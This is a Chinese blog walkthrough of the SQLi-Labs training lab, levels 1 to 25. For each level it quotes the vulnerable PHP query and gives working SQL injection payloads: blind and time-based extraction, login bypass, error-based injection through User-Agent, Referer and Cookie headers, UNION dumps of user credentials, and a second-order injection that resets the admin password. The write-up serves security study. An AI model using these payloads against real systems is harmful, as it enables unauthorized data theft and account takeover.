zoukankan      html  css  js  c++  java
  • sqli-lab之注入窍门

    结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件,像MySQL,MS SQL ,Oracle以及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理大型数据库。

    我们将要使用的实验室是SQLi Labs,它是一个可以从https://github.com/Audi-1/sqli-labs免费下载,以便我们研究学习以及编写安全的程序。

    Less-1

    关键代码:

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

    可以看到对于直接 GET 进来的文本没有过滤。
    同时,在查询语句中,id='$id',变量加了引号。这里引号的意思是把输入的 id 当做字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。

    ?id=12a             显示id为12的用户
    ?id=1a2a            显示id为1的用户
    ?id=102a            显示id为102的用户(不存在)
    盲注
    ?id=1%27and+left(version(),1)=5%23                得出数据库版本为5开头
    ?id=1%27and+length(database())=8%23               数据库名长度为8
    ?id=1%27and+left(database(),8)='security'%23      数据库为security
    ?id=1%27and+length(username)=4%23                 用户名长度为4
    ?id=1%27and+left(username,4)='Dumb'%23            用户名为Dumb
    ?id=1%27and+length(password)=4%23                 密码长度为4
    ?id=1%27and+left(password,4)='Dumb'%23            密码为Dumb

    Less-2

    关键代码:

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

    同样未做过滤,但此处的变量 id 无引号。大概是直接将变量 id 当做整形传入查询。

    ?id=12  显示 id 为 12 的用户
    ?id=12a 报错:Unknown column '12a' in 'where clause'
    ?id=%31 显示 id 为 1 的用户
    注入测试:
    ?id=1+and+left(version(),1)=5 直接注入即可得到版本号

    Less-3

    关键代码:

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

    未过滤,但变量 id 加了引号和括号。将变量 id 以字符串形式引入,和Less-1很像,但是却又多了个括号,猜测是防止注入语句。

    注入测试:
    ?id=12+and+1=1           显示正确
    ?id=12+an                不完全语句也显示正确
    猜测:括号将变量限制在括号范围内,尝试手动提前匹配括号注入。
    ?id=12%27                        成功报错:''12'') LIMIT 0,1' at line 1
    ?id=1%27%29and+1=2%23                                无显示,可注入
    上面那条语句还原到 SQL 语句时,为:
    SELECT * FORM users WHERE id=('1')and 1=2#') LIMIT 0,1

    将括号提前结束且用 #号注释掉接下来的语句。接下来的注入只要替换 and 1=1 语句就行了。

    Less-4

    关键代码:

    $id = '"' . $id . '"';
    
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

    对变量 id 做了处理。该处理在 id 前后添加双引号。

    ?id=1%22%29+and+1=2%23            无显示,可注入
    SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1

    Less-5

    关键代码:

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    ?id=1'and+1=2#

    Less-6

    关键代码:

    $id = '"'.$id.'"';
    
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    
    ?id=1"and+1=2#

    Less-7

    关键代码:

    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
    
    ?id=1'))and 1=2#

    Less-8

    关键代码:

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    ?id=1' and 1=2#

    Less-9

    尝试了很多次,各种组合,但是服务器返回的结果都是一样。
    尝试 ?id=10000000000
    返回结果也是正确,因为不存在这么大的 id,所以判断这个页面把正确和错误的信息全部返回一致。
    于是,使用基于时间的注入,构造以下语句:

    ?id=1' and sleep(5) %23

    如果错误,则服务器处理5秒再返回,否则直接返回,找到正确的注入点。

    ?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
    
    ?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
    
    第一个语句暂停五秒第二个直接返回,判断数据库名的第一个字母为s(ascii为115)

    Less-10

    又是一个基于时间的注入,尝试了下,注入点在这:

    ?id=1" and sleep(5) %23

    Less-11

    这个页面采用 POST 的方法得到数据。于是用 HackBar 修改 post 数据进行测试:

    uname=admin&passwd=123'
    显示:
     ''123'' LIMIT 0,1' 
    去掉单引号
    '123'' LIMIT 0,1
    再去掉密码的单引号
    123' LIMIT 0,1
    

    所以确定是单引号注入,直接万能密钥试试:

    uname=admin' or '1'='1 &passwd=123456
    

    这里的话有个点:

    如果输入:uname=admin' or '1'='1 &passwd=123456,会显示失败,为什么呢?

    首先and的优先级高于or 【就是and先运算】

    那么'1'='1' and password='123456'先运算,因为users表里面的password字段没有一个数据时test,右边是false,那么整个表达式就是false

    这个时候整个的语句就是:

    SELECT username, password FROM users WHERE username='test' or false LIMIT 0,1
    

    数据库里没有test用户,所以就失败了。

    而万能密钥的语句是:

    SELECT username, password FROM users WHERE username='admin' or false LIMIT 0,1
    

    对于上述的情况,我们在密码字段加入即可

    uname=test&passwd=123456' or '1'='1
    
    SELECT username, password FROM users WHERE username='test' or true LIMIT 0,1
    

    Less-12

    先尝试单引号,双引号。

    输入:

    uname=test&passwd=123456"

    报错:

    '"123456"") LIMIT 0,1'
    
    123456") LIMIT 0,1

    构造POC:

    uname=test&passwd=123456") or "1"="1"#

    Less-13

    先尝试单引号,双引号。

    输入:

    uname=test&passwd=123456'

    报错:

    ''123456'') LIMIT 0,1'
    
    123456') LIMIT 0,1

    构造POC:

    uname=test&passwd=123456') or ('1')=('1
    
    或者
    
    uname=test&passwd=123456') or "1"="1"#

    Less-14

    先尝试单引号,双引号。

    输入:

    uname=test&passwd=123456"

    报错:

    '"123456"" LIMIT 0,1'
    
    123456" LIMIT 0,1

    构造POC:

    uname=test&passwd=123456" or "1"="1"#
    
    或者
    
    uname=test&passwd=123456" or "1"="1

    Less-15

    这里输入单引号,双引号就不会报错了,我们只能加上永真永假或者时间延迟函数了。

    测试发现时间延迟不行。 

    uname=test&passwd=123456' or 1=1#

    直接成功了,

    试一下盲注也是可以得。

    uname=test&passwd=123456' or length(database())=8#

    Less-16

    uname=test&passwd=123456") or 1=1#

    成功登陆,时间延迟注入试试

    uname=test&passwd=123456")  or if(length(database())=7,1,sleep(5)) #
    暂停,说明不对
    uname=test&passwd=123456")  or if(length(database())=8,1,sleep(5)) #
    成功登陆

    Less-17

    uname=admin&passwd=123456' where username='admin' and 1=2 #
    对应的SQL语句是:
    UPDATE users SET password = '123456' where username='admin' and 1=2 #' WHERE username='admin'
    

    Less-18

    这是 Header 注入。

    意思是,从服务器要求的 Header 头里面找到可以注入的注入点。

    从源代码可以看出,服务器将 Header 里面的 user-agent 的值没有经过过滤就带入了 insert into 语句,这就造成了注入。

    $uagent = $_SERVER['HTTP_USER_AGENT'];
    ...
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    

    首先,抓包。

    还有一个问题就是,insert into 语句要在登陆成功后才能执行,所以必须输入正确的用户和密码再抓包。

    xpath注入:
    payload:updatexml(1,concat(0x7e,(version())),0)
    第一个参数是 目标xml
    第二个参数是 xpath的表达式,这个看w3c那个xpath教程
    第三个参数是 要将xpath的表达式的东西将目标xml替换成什么
    

    POC:

    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),",")#
    响应:
    Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),"1")#
    XPATH syntax error: ':5.5.47'
    
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")#
    响应:
    Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")
    XPATH syntax error: ':Dumb'
    

    Less-19

    POC:

    Referer: 1' or updatexml(0,concat(0x3a,version()),0),"1")#
    响应:
    Your Referer is: 1' or updatexml(0,concat(0x3a,version()),0),"1")
    XPATH syntax error: ':5.5.47'
    

    这里也可以用一个报错函数extractvalue

    第一个参数也是个xml,第二个参数就是xpath的表达式,这个函数是获取xml中某个节点的值

    与updatexml一次只能更新一个节点不同,extractvalue可以一次获取多个节点的值,并以空格分隔

    POC:

    Referer: 1' or extractvalue(0,concat(0x3a,version())),'1')#
    响应:
    Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or extractvalue(0,concat(0x3a,version())),'1')#
    XPATH syntax error: ':5.5.47'
    

    Less-20

    这题用 Cookies 注入

    POC:

    Cookie: uname=admin';
    报错
    Cookie: uname=admin' order by 3#;
    正常显示
    Cookie: uname=admin' order by 4#;
    报错,所以是三个字段
    Cookie: uname=admin' and 1=2 union select 1,2,3#;
    显示2,3
    Cookie: uname=admin' and 1=2 union select 1,database(),version()#;
    数据库:security,版本:5.5.47
    Cookie: uname=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#;
    表名:emails,referers,uagents,users,这里也可以用limit语句
    Cookie: uname=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#;
    字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
    Cookie: uname=admin' and 1=2 union select 1,username,password from users limit 0,1#;
    内容:Your Login name:Dumb Your Password:Dumb
    

    Less-21

    cookies 注入

    但是,这一次的 cookies 是加密的.

    setcookie('uname', base64_encode($row1['username']), time()+3600);
    ...
    $cookee = base64_decode($cookee);
    

    POC:

    ') union select 1,2,username from users#
    JykgdW5pb24gc2VsZWN0IDEsMix1c2VybmFtZSBmcm9tIHVzZXJzIw==
    显示密码Dumb
    

    Less-22

    单引号换成双引号就行了

    uname=IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXJuYW1lIGZyb20gdXNlcnMj
    Your Login name:2
    Your Password:Dum
    

    Less-23

    这一题它在输入的时候过滤了几个字符

    $reg = "/#/";
    $reg1 = "/--/";
    $replace = "";
    $id = preg_replace($reg, $replace, $id);
    $id = preg_replace($reg1, $replace, $id);
    

    所以,我们不能用 #来注释掉剩下的查询语句。

    那么该怎么办呢?

    一个办法就是,让剩下的语句变得完整就行。

    查询语句的代码为:

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

    构造语句:

    ?id=1'and+'1'='1

    Less-24

    二次注入

    与数据库交互的有三个页面:login_create.php,login.php,pass_change.php

    login_create.php,登陆页面对用户和密码都进行了处理。

    $username = mysql_real_escape_string($_POST["login_user"]);
    $password = mysql_real_escape_string($_POST["login_password"]);
    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
    

    login_create.php对新建用户进行处理

    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);
    

    pass_change.php是修改密码的

    关键代码:

    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);
    if($pass==$re_pass)
    {	
    	$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    	$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    	$row = mysql_affected_rows();
    	...
    

    可以发现

    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

    更改密码时$username没有任何过滤,直接带入进去,如果$username后面有个注释符,那么我们可以直接绕过验证$curr_pass而直接更改密码。

    所以我们要建一个有注释符的特殊用户

    用户名:admin'+#+
    密码: 123456
    

    然后登陆,进入更改密码页面

    随便输入当前密码,然后输入我们要更改的密码

    YOU ARE LOGGED IN AS
    admin' # 
    
    You can Change your password here.
    Current Password: 123	
    New Password: 	123456
    Retype Password: 	123456
    

    提交,你会发现,admin的密码已经被我们改成123456了。

    Less-25

    这题的意思是,“你的 AND 和 OR 都是我们的了!”...

    就是,AND 和 OR 全部都被过滤掉了。

    AND==&&
    OR==||
    
    ?id=1' && '1'='1
    url编码
    ?id=1' %26%26 '1'='1
  • 相关阅读:
    设计模式C++学习笔记之一(Strategy策略模式)
    web服务器上某一中文名文件无法访问
    C++之多态性与虚函数
    常用的16个c/c++面试题
    C/C++ 笔试、面试题目大汇总
    利用jsoncpp将json字符串转换为Vector
    STL中vector、list、deque和map的区别
    C++类的继承中构造函数和析构函数调用顺序例子
    LNMP下Nginx 中文文件名或目录404无法访问的解决方法
    Python Web开发框架Django
  • 原文地址:https://www.cnblogs.com/GLory-LTF/p/15034927.html
Copyright © 2011-2022 走看看